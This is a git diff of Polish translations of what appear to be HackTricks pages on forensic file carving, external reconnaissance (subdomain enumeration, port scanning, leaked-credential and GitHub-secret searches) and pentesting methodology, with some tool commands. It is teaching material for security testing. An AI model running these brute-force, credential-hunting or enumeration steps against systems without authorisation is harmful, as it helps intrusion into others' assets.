Innym powszechnym narzędziem do znajdowania ukrytych plików jest **foremost**. Możesz znaleźć plik konfiguracyjny foremost w `/etc/foremost.conf`. Jeśli chcesz wyszukać konkretne pliki, odkomentuj je. Jeśli nic nie odkomentujesz, foremost będzie szukać domyślnie skonfigurowanych typów plików.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@ -44,11 +44,11 @@ To narzędzie może skanować obraz i **wyodrębniać pcaps** w nim, **informacj
```
bulk_extractor memory.img -o out_folder
```
Przejdź przez **wszystkie informacje**, które narzędzie zebrało (hasła?), **analizuj** **pakiety** (przeczytaj [**analizę Pcaps**](../pcap-inspection/)), wyszukaj **dziwne domeny** (domeny związane z **złośliwym oprogramowaniem** lub **nieistniejącymi**).
Przejrzyj **wszystkie informacje**, które narzędzie zgromadziło (hasła?), **analizuj** **pakiety** (przeczytaj [**analizę Pcaps**](../pcap-inspection/index.html)), wyszukaj **dziwne domeny** (domeny związane z **złośliwym oprogramowaniem** lub **nieistniejącymi**).
### PhotoRec
Możesz go znaleźć w [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
Możesz go znaleźć pod adresem [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
Dostępna jest wersja z interfejsem graficznym i wiersza poleceń. Możesz wybrać **typy plików**, które PhotoRec ma wyszukiwać.
@ -56,20 +56,20 @@ Dostępna jest wersja z interfejsem graficznym i wiersza poleceń. Możesz wybra
### binvis
Sprawdź [kod](https://code.google.com/archive/p/binvis/) i [stronę narzędzia](https://binvis.io/#/).
Sprawdź [kod](https://code.google.com/archive/p/binvis/) oraz [stronę narzędzia](https://binvis.io/#/).
#### Cechy BinVis
- Wizualny i aktywny **podgląd struktury**
- Wiele wykresów dla różnych punktów skupienia
- Skupienie na częściach próbki
- **Widzenie ciągów i zasobów** w plikach wykonywalnych PE lub ELF, np.
- **Widzenie ciągów i zasobów**, w plikach PE lub ELF, np.
- Uzyskiwanie **wzorców** do kryptanalizy plików
- **Wykrywanie** algorytmów pakujących lub kodujących
- **Identyfikacja** steganografii na podstawie wzorców
- **Wizualne** porównywanie binarne
- **Wizualna** różnica binarna
BinVis to świetny **punkt wyjścia, aby zapoznać się z nieznanym celem** w scenariuszu black-boxing.
BinVis to świetny **punkt wyjścia, aby zapoznać się z nieznanym celem** w scenariuszu black-box.
## Specyficzne narzędzia do wydobywania danych

View File

@ -4,7 +4,7 @@
## Autopsy
Najczęściej używane narzędzie w kryminalistyce do ekstrakcji plików z obrazów to [**Autopsy**](https://www.autopsy.com/download/). Pobierz je, zainstaluj i spraw, aby przetworzyło plik w celu znalezienia "ukrytych" plików. Zauważ, że Autopsy jest zaprojektowane do obsługi obrazów dysków i innych rodzajów obrazów, ale nie prostych plików.
Najczęściej używane narzędzie w forensyce do ekstrakcji plików z obrazów to [**Autopsy**](https://www.autopsy.com/download/). Pobierz je, zainstaluj i spraw, aby przetworzyło plik w celu znalezienia "ukrytych" plików. Zauważ, że Autopsy jest zaprojektowane do obsługi obrazów dysków i innych rodzajów obrazów, ale nie prostych plików.
## Binwalk <a id="binwalk"></a>
@ -18,7 +18,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
## Foremost
Innym powszechnym narzędziem do znajdowania ukrytych plików jest **foremost**. Możesz znaleźć plik konfiguracyjny foremost w `/etc/foremost.conf`. Jeśli chcesz wyszukać tylko niektóre konkretne pliki, odkomentuj je. Jeśli nic nie odkomentujesz, foremost będzie szukać domyślnie skonfigurowanych typów plików.
Innym powszechnym narzędziem do znajdowania ukrytych plików jest **foremost**. Możesz znaleźć plik konfiguracyjny foremost w `/etc/foremost.conf`. Jeśli chcesz wyszukać konkretne pliki, odkomentuj je. Jeśli nic nie odkomentujesz, foremost będzie szukać domyślnie skonfigurowanych typów plików.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@ -26,7 +26,7 @@ foremost -v -i file.img -o output
```
## **Scalpel**
**Scalpel** to kolejne narzędzie, które można wykorzystać do znajdowania i wyodrębniania **plików osadzonych w pliku**. W tym przypadku musisz odkomentować w pliku konfiguracyjnym \(_/etc/scalpel/scalpel.conf_\) typy plików, które chcesz, aby zostały wyodrębnione.
**Scalpel** to kolejne narzędzie, które można wykorzystać do znajdowania i wyodrębniania **plików osadzonych w pliku**. W tym przypadku będziesz musiał odkomentować w pliku konfiguracyjnym \(_/etc/scalpel/scalpel.conf_\) typy plików, które chcesz, aby zostały wyodrębnione.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
@ -35,17 +35,17 @@ scalpel file.img -o output
To narzędzie znajduje się w Kali, ale możesz je znaleźć tutaj: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
To narzędzie może skanować obraz i **wyodrębnić pcaps** w nim, **informacje o sieci (URL, domeny, IP, MAC, maile)** i więcej **plików**. Musisz tylko zrobić:
To narzędzie może skanować obraz i **wyodrębniać pcaps** w nim, **informacje o sieci (URL, domeny, IP, MAC, maile)** i więcej **plików**. Musisz tylko zrobić:
```text
bulk_extractor memory.img -o out_folder
```
Przejdź przez **wszystkie informacje**, które narzędzie zebrało \(hasła?\), **analizuj** **pakiety** \(przeczytaj [ **analizę Pcaps**](../pcap-inspection/)\), wyszukaj **dziwne domeny** \(domeny związane z **złośliwym oprogramowaniem** lub **nieistniejącymi**\).
Przejdź przez **wszystkie informacje**, które narzędzie zgromadziło \(hasła?\), **analizuj** **pakiety** \(przeczytaj [**analizę Pcaps**](../pcap-inspection/index.html)\), wyszukaj **dziwne domeny** \(domeny związane z **złośliwym oprogramowaniem** lub **nieistniejącymi**\).
## PhotoRec
Możesz go znaleźć w [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
Możesz go znaleźć pod adresem [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
Dostępna jest wersja z interfejsem graficznym i wiersza poleceń. Możesz wybrać **typy plików**, które PhotoRec ma wyszukiwać.
Dostępna jest wersja z interfejsem graficznym i wersja wiersza poleceń. Możesz wybrać **typy plików**, które PhotoRec ma wyszukiwać.
![](../../../images/image%20%28524%29.png)
@ -59,7 +59,6 @@ Pobierz [tutaj](https://sourceforge.net/projects/findaes/).
# Narzędzia uzupełniające
Możesz użyć [**viu** ](https://github.com/atanunq/viu), aby zobaczyć obrazy z terminala.
Możesz użyć narzędzia wiersza poleceń Linux **pdftotext**, aby przekształcić plik pdf w tekst i go przeczytać.
Możesz użyć [**viu** ](https://github.com/atanunq/viu), aby zobaczyć obrazy z terminala. Możesz użyć narzędzia wiersza poleceń Linux **pdftotext**, aby przekształcić plik pdf w tekst i go przeczytać.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,19 +2,19 @@
{{#include ../../../banners/hacktricks-training.md}}
## Narzędzia do Carvingu i Odzyskiwania
## Carving & Recovery tools
Więcej narzędzi w [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
Najczęściej używane narzędzie w kryminalistyce do ekstrakcji plików z obrazów to [**Autopsy**](https://www.autopsy.com/download/). Pobierz je, zainstaluj i spraw, aby przetworzyło plik w celu znalezienia "ukrytych" plików. Zauważ, że Autopsy jest zaprojektowane do obsługi obrazów dysków i innych rodzajów obrazów, ale nie prostych plików.
Najczęściej używane narzędzie w forensyce do ekstrakcji plików z obrazów to [**Autopsy**](https://www.autopsy.com/download/). Pobierz je, zainstaluj i spraw, aby przetworzyło plik w celu znalezienia "ukrytych" plików. Zauważ, że Autopsy jest zaprojektowane do obsługi obrazów dysków i innych rodzajów obrazów, ale nie prostych plików.
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** to narzędzie do analizy plików binarnych w celu znalezienia osadzonych treści. Można je zainstalować za pomocą `apt`, a jego źródło znajduje się na [GitHub](https://github.com/ReFirmLabs/binwalk).
**Przydatne komendy**:
**Przydatne polecenia**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
@ -44,13 +44,13 @@ To narzędzie może skanować obraz i **wyodrębniać pcaps** w nim, **informacj
```
bulk_extractor memory.img -o out_folder
```
Przejdź przez **wszystkie informacje**, które narzędzie zebrało (hasła?), **analizuj** **pakiety** (przeczytaj [**analizę Pcaps**](../pcap-inspection/)), wyszukaj **dziwne domeny** (domeny związane z **złośliwym oprogramowaniem** lub **nieistniejącymi**).
Przejrzyj **wszystkie informacje**, które narzędzie zgromadziło (hasła?), **analizuj** **pakiety** (przeczytaj [**analizę Pcaps**](../pcap-inspection/index.html)), wyszukaj **dziwne domeny** (domeny związane z **złośliwym oprogramowaniem** lub **nieistniejącymi**).
### PhotoRec
Możesz go znaleźć pod adresem [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
Dostępne są wersje z interfejsem graficznym i wiersza poleceń. Możesz wybrać **typy plików**, które PhotoRec ma wyszukiwać.
Dostępna jest wersja z interfejsem graficznym i wiersza poleceń. Możesz wybrać **typy plików**, które PhotoRec ma wyszukiwać.
![](<../../../images/image (242).png>)
@ -67,7 +67,7 @@ Sprawdź [kod](https://code.google.com/archive/p/binvis/) oraz [stronę narzędz
- Uzyskiwanie **wzorców** do kryptanalizy plików
- **Wykrywanie** algorytmów pakujących lub kodujących
- **Identyfikacja** steganografii na podstawie wzorców
- **Wizualna** różnica binarna
- **Wizualne** porównywanie binarne
BinVis to świetny **punkt wyjścia, aby zapoznać się z nieznanym celem** w scenariuszu black-boxing.

View File

@ -58,7 +58,7 @@ Możesz znaleźć IP i ASN domeny używając [http://ipv4info.com/](http://ipv4i
Na tym etapie znamy **wszystkie zasoby w zakresie**, więc jeśli masz na to pozwolenie, możesz uruchomić jakiś **skaner luk** (Nessus, OpenVAS) na wszystkich hostach.\
Możesz również przeprowadzić [**skanowanie portów**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **lub użyć usług takich jak** shodan **aby znaleźć** otwarte porty **i w zależności od tego, co znajdziesz, powinieneś** zajrzeć do tej książki, aby dowiedzieć się, jak przeprowadzić pentesting różnych możliwych usług.\
**Warto również wspomnieć, że możesz przygotować kilka** domyślnych nazw użytkowników **i** haseł **i spróbować** bruteforce'ować usługi za pomocą [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
**Warto również wspomnieć, że możesz przygotować kilka** domyślnych nazw użytkowników **i** haseł **i spróbować** brute-force'ować usługi za pomocą [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domeny
@ -82,7 +82,7 @@ Możesz również użyć narzędzia online do uzyskania tych informacji: [http:/
### **Reverse Whois (loop)**
W **whois** możesz znaleźć wiele interesujących **informacji**, takich jak **nazwa organizacji**, **adres**, **emaile**, numery telefonów... Ale co jest jeszcze bardziej interesujące, to to, że możesz znaleźć **więcej zasobów związanych z firmą**, jeśli wykonasz **odwrócone zapytania whois według dowolnego z tych pól** (na przykład inne rejestry whois, w których pojawia się ten sam email).\
W **whois** możesz znaleźć wiele interesujących **informacji**, takich jak **nazwa organizacji**, **adres**, **emaile**, numery telefonów... Ale co jest jeszcze bardziej interesujące, to że możesz znaleźć **więcej zasobów związanych z firmą**, jeśli wykonasz **odwrócone zapytania whois według dowolnego z tych pól** (na przykład inne rejestry whois, w których pojawia się ten sam email).\
Możesz użyć narzędzi online, takich jak:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Darmowe**
@ -96,7 +96,7 @@ Możesz użyć narzędzi online, takich jak:
Możesz zautomatyzować to zadanie, używając [**DomLink** ](https://github.com/vysecurity/DomLink) (wymaga klucza API whoxy).\
Możesz również przeprowadzić automatyczne odkrywanie reverse whois za pomocą [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Zauważ, że możesz użyć tej techniki, aby odkryć więcej nazw domen za każdym razem, gdy znajdziesz nową domenę.**
**Zauważ, że możesz użyć tej techniki, aby odkrywać więcej nazw domen za każdym razem, gdy znajdziesz nową domenę.**
### **Trackers**
@ -159,7 +159,7 @@ Możesz użyć strony internetowej takiej jak [https://dmarc.live/info/google.co
### **Pasywne przejęcie**
Wygląda na to, że powszechne jest przypisywanie subdomen do adresów IP należących do dostawców chmury i w pewnym momencie **utrata tego adresu IP, ale zapomnienie o usunięciu rekordu DNS**. Dlatego wystarczy **uruchomić VM** w chmurze (takiej jak Digital Ocean), aby faktycznie **przejąć niektóre subdomeny**.
Wygląda na to, że powszechne jest przypisywanie subdomen do adresów IP należących do dostawców chmury i w pewnym momencie **utrata tego adresu IP, ale zapomnienie o usunięciu rekordu DNS**. Dlatego, po prostu **uruchamiając VM** w chmurze (takiej jak Digital Ocean), faktycznie **przejmujesz niektóre subdomeny**.
[**Ten post**](https://kmsec.uk/blog/passive-takeover/) wyjaśnia historię na ten temat i proponuje skrypt, który **uruchamia VM w DigitalOcean**, **uzyskuje** **IPv4** nowej maszyny i **wyszukuje w Virustotal rekordy subdomen** wskazujące na nią.
@ -181,7 +181,7 @@ Możesz uzyskać dostęp do **certyfikatu TLS** głównej strony internetowej, u
Sprawdź niektóre [przejęcia domen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Może jakaś firma **używa jakiejś domeny**, ale **straciła jej własność**. Po prostu zarejestruj ją (jeśli jest wystarczająco tania) i daj znać firmie.
Jeśli znajdziesz jakąkolwiek **domenę z adresem IP różnym** od tych, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie luk** (używając Nessus lub OpenVAS) oraz jakieś [**skanowanie portów**](../pentesting-network/index.html#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od uruchomionych usług możesz znaleźć w **tej książce kilka sztuczek, aby je "zaatakować"**.\
Jeśli znajdziesz jakąkolwiek **domenę z adresem IP różnym** od tych, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie luk** (używając Nessus lub OpenVAS) oraz jakieś [**skanowanie portów**](../pentesting-network/index.html#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od tego, jakie usługi są uruchomione, możesz znaleźć w **tej książce kilka sztuczek, aby je "zaatakować"**.\
&#xNAN;_&#x4E;ote, że czasami domena jest hostowana w IP, które nie jest kontrolowane przez klienta, więc nie jest w zakresie, bądź ostrożny._
## Subdomeny
@ -191,7 +191,7 @@ Jeśli znajdziesz jakąkolwiek **domenę z adresem IP różnym** od tych, które
Czas znaleźć wszystkie możliwe subdomeny każdej znalezionej domeny.
> [!TIP]
> Zauważ, że niektóre narzędzia i techniki do znajdowania domen mogą również pomóc w znajdowaniu subdomen.
> Zauważ, że niektóre narzędzia i techniki do znajdowania domen mogą również pomóc w znajdowaniu subdomen
### **DNS**
@ -365,7 +365,7 @@ Po znalezieniu subdomen za pomocą otwartych źródeł i brute-forcingu, możesz
```bash
cat subdomains.txt | dnsgen -
```
- [**goaltdns**](https://github.com/subfinder/goaltdns): Dla podanych domen i subdomen generuje permutacje.
- [**goaltdns**](https://github.com/subfinder/goaltdns): Podaj domeny i subdomeny, aby wygenerować permutacje.
- Możesz uzyskać permutacje goaltdns **wordlist** [**tutaj**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
@ -375,7 +375,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
- [**altdns**](https://github.com/infosec-au/altdns): Oprócz generowania permutacji subdomen, może również próbować je rozwiązać (ale lepiej użyć wcześniej wspomnianych narzędzi).
- Możesz uzyskać permutacje altdns **wordlist** w [**tutaj**](https://github.com/infosec-au/altdns/blob/master/words.txt).
- Możesz uzyskać permutacje altdns **wordlist** [**tutaj**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -446,17 +446,17 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
```
### **Brute Force Buckets**
Podczas poszukiwania **subdomen** zwróć uwagę, czy wskazują one na jakikolwiek typ **bucket**, a w takim przypadku [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Również, w tym momencie, gdy znasz już wszystkie domeny w zakresie, spróbuj [**brute force'ować możliwe nazwy bucketów i sprawdzić uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
Podczas poszukiwania **subdomen** zwróć uwagę, czy wskazują one na jakikolwiek typ **bucket**, a w takim przypadku [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
Również, w tym momencie, gdy będziesz znać wszystkie domeny w zakresie, spróbuj [**brute force'ować możliwe nazwy bucketów i sprawdzić uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/index.html).
### **Monitorowanie**
Możesz **monitorować**, czy **nowe subdomeny** danej domeny są tworzone, monitorując **logi przejrzystości certyfikatów** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
Możesz **monitorować**, czy **nowe subdomeny** danej domeny są tworzone, monitorując **logi przejrzystości certyfikatów**, co robi [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
### **Poszukiwanie luk**
Sprawdź możliwe [**przejęcia subdomen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Jeśli **subdomena** wskazuje na jakiś **bucket S3**, [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
Jeśli **subdomena** wskazuje na jakiś **bucket S3**, [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/index.html).
Jeśli znajdziesz jakąkolwiek **subdomenę z adresem IP różnym** od tych, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie luk** (używając Nessus lub OpenVAS) oraz jakieś [**skanowanie portów**](../pentesting-network/index.html#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od uruchomionych usług możesz znaleźć w **tej książce kilka sztuczek, aby je "zaatakować"**.\
&#xNAN;_&#x4E;ote, że czasami subdomena jest hostowana w IP, które nie jest kontrolowane przez klienta, więc nie jest w zakresie, bądź ostrożny._
@ -476,7 +476,7 @@ Możesz również sprawdzić, które domeny wskazują na konkretny adres IP, uż
**Skanuj porty wszystkich IP, które nie należą do CDN** (ponieważ prawdopodobnie nie znajdziesz tam nic interesującego). W odkrytych usługach możesz **znaleźć luki**.
**Znajdź** [**przewodnik**](../pentesting-network/) **na temat skanowania hostów.**
**Znajdź** [**przewodnik**](../pentesting-network/index.html) **na temat skanowania hostów.**
## Polowanie na serwery WWW
@ -487,7 +487,7 @@ W poprzednich krokach prawdopodobnie już przeprowadziłeś jakieś **recon IP i
Proszę zauważyć, że to będzie **ukierunkowane na odkrywanie aplikacji webowych**, więc powinieneś **przeprowadzić skanowanie luk** i **skanowanie portów** również (**jeśli dozwolone** przez zakres).
**Szybka metoda** na odkrycie **otwartych portów** związanych z **serwerami** WWW za pomocą [**masscan** można znaleźć tutaj](../pentesting-network/index.html#http-port-discovery).\
Innym przyjaznym narzędziem do wyszukiwania serwerów WWW jest [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) oraz [**httpx**](https://github.com/projectdiscovery/httpx). Wystarczy, że przekażesz listę domen, a narzędzie spróbuje połączyć się z portem 80 (http) i 443 (https). Dodatkowo możesz wskazać, aby spróbować innych portów:
Innym przyjaznym narzędziem do wyszukiwania serwerów WWW jest [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Wystarczy przekaz listę domen, a narzędzie spróbuje połączyć się z portem 80 (http) i 443 (https). Dodatkowo możesz wskazać, aby spróbować innych portów:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@ -522,7 +522,7 @@ Jeśli znajdziesz takie rzeczy jak **otwarte buckety lub wystawione funkcje chmu
## E-maile
Mając **domeny** i **subdomeny** w zakresie, zasadniczo masz wszystko, co **potrzebujesz, aby zacząć szukać e-maili**. Oto **API** i **narzędzia**, które najlepiej działały dla mnie w znajdowaniu e-maili firmy:
Z **domenami** i **subdomenami** w zakresie masz zasadniczo wszystko, co **potrzebujesz, aby zacząć szukać e-maili**. Oto **API** i **narzędzia**, które najlepiej działały dla mnie w znajdowaniu e-maili firmy:
- [**theHarvester**](https://github.com/laramies/theHarvester) - z API
- API [**https://hunter.io/**](https://hunter.io/) (wersja darmowa)
@ -535,25 +535,25 @@ E-maile będą przydatne później do **brute-force'owania logowania do stron in
## Wycieki danych uwierzytelniających
Mając **domeny**, **subdomeny** i **e-maile**, możesz zacząć szukać danych uwierzytelniających, które wyciekły w przeszłości i należą do tych e-maili:
Z **domenami,** **subdomenami** i **e-mailami** możesz zacząć szukać danych uwierzytelniających, które wyciekły w przeszłości i należą do tych e-maili:
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
- [https://www.dehashed.com/](https://www.dehashed.com/)
### **Szukając luk**
Jeśli znajdziesz **ważne wyciekłe** dane uwierzytelniające, to bardzo łatwe zwycięstwo.
Jeśli znajdziesz **ważne wyciekłe** dane uwierzytelniające, to jest to bardzo łatwe zwycięstwo.
## Wycieki sekretów
## Wyciek tajemnic
Wyciek danych uwierzytelniających jest związany z hackami firm, w których **wrażliwe informacje zostały wycieknięte i sprzedane**. Jednak firmy mogą być dotknięte **innymi wyciekami**, których informacje nie znajdują się w tych bazach danych:
### Wyciek z GitHub
Dane uwierzytelniające i API mogą być wycieknięte w **publicznych repozytoriach** firmy lub użytkowników pracujących dla tej firmy na GitHubie.\
Możesz użyć **narzędzia** [**Leakos**](https://github.com/carlospolop/Leakos), aby **pobrać** wszystkie **publiczne repozytoria** organizacji i jej **deweloperów** oraz automatycznie uruchomić [**gitleaks**](https://github.com/zricethezav/gitleaks) na nich.
Dane uwierzytelniające i API mogą być wycieknięte w **publicznych repozytoriach** **firmy** lub **użytkowników** pracujących dla tej firmy na GitHubie.\
Możesz użyć **narzędzia** [**Leakos**](https://github.com/carlospolop/Leakos), aby **pobierać** wszystkie **publiczne repozytoria** danej **organizacji** oraz jej **deweloperów** i automatycznie uruchomić [**gitleaks**](https://github.com/zricethezav/gitleaks) na nich.
**Leakos** może być również używane do uruchamiania **gitleaks** przeciwko całemu **tekstowi** dostarczonemu **URL-om przekazanym** do niego, ponieważ czasami **strony internetowe również zawierają sekrety**.
**Leakos** może być również używane do uruchamiania **gitleaks** na wszystkich **tekstach** dostarczonych **URL-ami** do niego, ponieważ czasami **strony internetowe również zawierają tajemnice**.
#### Dorki GitHub
@ -576,11 +576,11 @@ _Uwaga, że narzędzia, które oczekują uruchomienia całej bazy danych za pomo
### **Szukając luk**
Jeśli znajdziesz **ważne wyciekłe** dane uwierzytelniające lub tokeny API, to bardzo łatwe zwycięstwo.
Jeśli znajdziesz **ważne wyciekłe** dane uwierzytelniające lub tokeny API, to jest to bardzo łatwe zwycięstwo.
## Publiczne luki w kodzie
Jeśli odkryjesz, że firma ma **otwarty kod źródłowy**, możesz go **analizować** i szukać **luk** w nim.
Jeśli odkryjesz, że firma ma **kod open-source**, możesz go **analizować** i szukać **luk** w nim.
**W zależności od języka** istnieją różne **narzędzia**, które możesz użyć:
@ -592,15 +592,15 @@ Istnieją również darmowe usługi, które pozwalają na **skanowanie publiczny
- [**Snyk**](https://app.snyk.io/)
## [**Metodologia Pentestingu Web**](../../network-services-pentesting/pentesting-web/)
## [**Metodologia Pentestingu Web**](../../network-services-pentesting/pentesting-web/index.html)
**Większość luk** znalezionych przez łowców błędów znajduje się w **aplikacjach internetowych**, więc w tym momencie chciałbym porozmawiać o **metodologii testowania aplikacji internetowych**, a możesz [**znaleźć te informacje tutaj**](../../network-services-pentesting/pentesting-web/).
**Większość luk** znalezionych przez łowców błędów znajduje się w **aplikacjach internetowych**, więc w tym momencie chciałbym porozmawiać o **metodologii testowania aplikacji internetowych**, a możesz [**znaleźć te informacje tutaj**](../../network-services-pentesting/pentesting-web/index.html).
Chcę również szczególnie wspomnieć o sekcji [**Narzędzia do automatycznego skanowania aplikacji webowych open source**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), ponieważ, jeśli nie powinieneś oczekiwać, że znajdą ci bardzo wrażliwe luki, są przydatne do wdrażania ich w **workflow, aby uzyskać pewne początkowe informacje o sieci.**
Chcę również szczególnie wspomnieć o sekcji [**Narzędzia do automatycznego skanowania open source**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), ponieważ, jeśli nie powinieneś oczekiwać, że znajdą ci bardzo wrażliwe luki, są przydatne do wdrażania ich w **workflow, aby uzyskać pewne początkowe informacje o sieci.**
## Reasumpcja
> Gratulacje! Na tym etapie już wykonałeś **wszystkie podstawowe enumeracje**. Tak, to podstawowe, ponieważ można wykonać znacznie więcej enumeracji (zobaczymy więcej sztuczek później).
> Gratulacje! W tym momencie już wykonałeś **wszystkie podstawowe enumeracje**. Tak, to podstawowe, ponieważ można wykonać znacznie więcej enumeracji (zobaczymy więcej sztuczek później).
Więc już:
@ -611,7 +611,7 @@ Więc już:
5. Znalazłeś wszystkie **adresy IP** (z i **nie z CDN**) w zakresie.
6. Znalazłeś wszystkie **serwery internetowe** i zrobiłeś **zrzut ekranu** z nich (czy coś dziwnego wartego głębszego spojrzenia?)
7. Znalazłeś wszystkie **potencjalne publiczne zasoby chmurowe** należące do firmy.
8. **E-maile**, **wycieki danych uwierzytelniających** i **wycieki sekretów**, które mogą dać ci **duże zwycięstwo bardzo łatwo**.
8. **E-maile**, **wycieki danych uwierzytelniających** i **wycieki tajemnic**, które mogą dać ci **duże zwycięstwo bardzo łatwo**.
9. **Pentesting wszystkich stron, które znalazłeś**
## **Pełne automatyczne narzędzia rekonesansowe**

View File

@ -13,17 +13,17 @@ _Loga Hacktricks zaprojektowane przez_ [_@ppiernacho_](https://www.instagram.com
Czy masz **fizyczny dostęp** do maszyny, którą chcesz zaatakować? Powinieneś przeczytać kilka [**sztuczek dotyczących ataków fizycznych**](../hardware-physical-access/physical-attacks.md) oraz innych dotyczących [**ucieczki z aplikacji GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
### 1 - [Odkrywanie hostów w sieci](pentesting-network/index.html#discovering-hosts)/ [Odkrywanie zasobów firmy](external-recon-methodology/)
### 1 - [Odkrywanie hostów w sieci](pentesting-network/index.html#discovering-hosts)/ [Odkrywanie zasobów firmy](external-recon-methodology/index.html)
**W zależności** od tego, czy **test**, który przeprowadzasz, jest **testem wewnętrznym czy zewnętrznym**, możesz być zainteresowany znalezieniem **hostów w sieci firmy** (test wewnętrzny) lub **znalezieniem zasobów firmy w Internecie** (test zewnętrzny).
**W zależności** od tego, czy **test**, który przeprowadzasz, jest **testem wewnętrznym czy zewnętrznym**, możesz być zainteresowany znalezieniem **hostów w sieci firmy** (test wewnętrzny) lub **znalezieniem zasobów firmy w internecie** (test zewnętrzny).
> [!NOTE]
> Zauważ, że jeśli przeprowadzasz test zewnętrzny, po uzyskaniu dostępu do wewnętrznej sieci firmy powinieneś ponownie rozpocząć ten przewodnik.
### **2-** [**Zabawa z siecią**](pentesting-network/) **(Wewnętrzny)**
### **2-** [**Zabawa z siecią**](pentesting-network/index.html) **(Wewnętrzny)**
**Ta sekcja dotyczy tylko testów wewnętrznych.**\
Zanim zaatakujesz hosta, może wolisz **ukraść jakieś dane logowania** **z sieci** lub **podsłuchiwać** jakieś **dane**, aby pasywnie/aktywnie (MitM) dowiedzieć się, co możesz znaleźć w sieci. Możesz przeczytać [**Pentesting Network**](pentesting-network/index.html#sniffing).
Zanim zaatakujesz hosta, może wolisz **ukraść jakieś dane logowania** **z sieci** lub **podsłuchiwać** jakieś **dane**, aby dowiedzieć się **pasywnie/aktywnie (MitM)**, co możesz znaleźć w sieci. Możesz przeczytać [**Pentesting Network**](pentesting-network/index.html#sniffing).
### 3- [Skanowanie portów - Odkrywanie usług](pentesting-network/index.html#scanning-hosts)
@ -35,11 +35,11 @@ Gdy już wiesz, które usługi są uruchomione, a może ich wersje, musisz **szu
### **5-** Usługi Pentestingu
Jeśli nie ma żadnego fajnego exploita dla żadnej uruchomionej usługi, powinieneś poszukać **częstych błędów konfiguracyjnych w każdej uruchomionej usłudze.**
Jeśli nie ma żadnego fajnego exploita dla żadnej działającej usługi, powinieneś poszukać **częstych błędów konfiguracyjnych w każdej działającej usłudze.**
**W tej książce znajdziesz przewodnik po pentestingu najczęstszych usług** (i innych, które nie są tak powszechne). Proszę, poszukaj w lewym indeksie sekcji _**PENTESTING**_ (usługi są uporządkowane według ich domyślnych portów).
**W tej książce znajdziesz przewodnik po pentestowaniu najczęstszych usług** (i innych, które nie są tak powszechne)**. Proszę, poszukaj w lewym indeksie sekcji** _**PENTESTING**_ **(usługi są uporządkowane według ich domyślnych portów).**
**Chcę szczególnie wspomnieć o części** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ponieważ jest najbardziej rozbudowana).**\
**Chcę szczególnie wspomnieć o** [**Pentestingu Web**](../network-services-pentesting/pentesting-web/index.html) **(ponieważ jest to najbardziej rozbudowana część).**\
Również mały przewodnik na temat [**znajdowania znanych luk w oprogramowaniu**](../generic-hacking/search-exploits.md) można znaleźć tutaj.
